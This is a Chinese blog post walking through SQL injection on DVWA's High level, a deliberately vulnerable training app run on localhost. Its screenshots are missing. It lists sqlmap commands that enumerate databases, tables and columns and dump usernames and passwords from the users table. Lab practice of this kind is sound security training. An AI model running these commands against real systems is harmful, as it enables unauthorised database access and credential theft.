【网络安全】DVWA之SQL注入—High level解题简析

原创已于 2025-01-11 20:03:03 修改 · 1.1w 阅读

CC 4.0 BY-SA版权

原创文章，禁止转载，否则保留追究法律责任的权利。

文章标签：

于 2023-04-24 12:29:00 首次发布

17 篇文章

订阅专栏

本文介绍了在DVWA环境中手工和使用sqlmap工具进行SQL注入的步骤，包括判断注入类型、确定注入点数量、爆库名、爆表名、爆列名和爆字段的过程。建议读者在理解SQL注入原理后，通过lowlevel和mediumlevel练习来准备。

具体原理及姿势参见：

【网络安全】DVWA之SQL注入—low level解题详析

手工注入

在这里插入图片描述

由以上两个回显可知，该注入类型为字符型注入。

在这里插入图片描述

由以上两个回显可知，注入点个数为两个。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"

在这里插入图片描述

存在注入点。

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs

在这里插入图片描述

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tables

在这里插入图片描述

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -t users --columns

在这里插入图片描述

-D、-T为大写或小写均可

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dump

在这里插入图片描述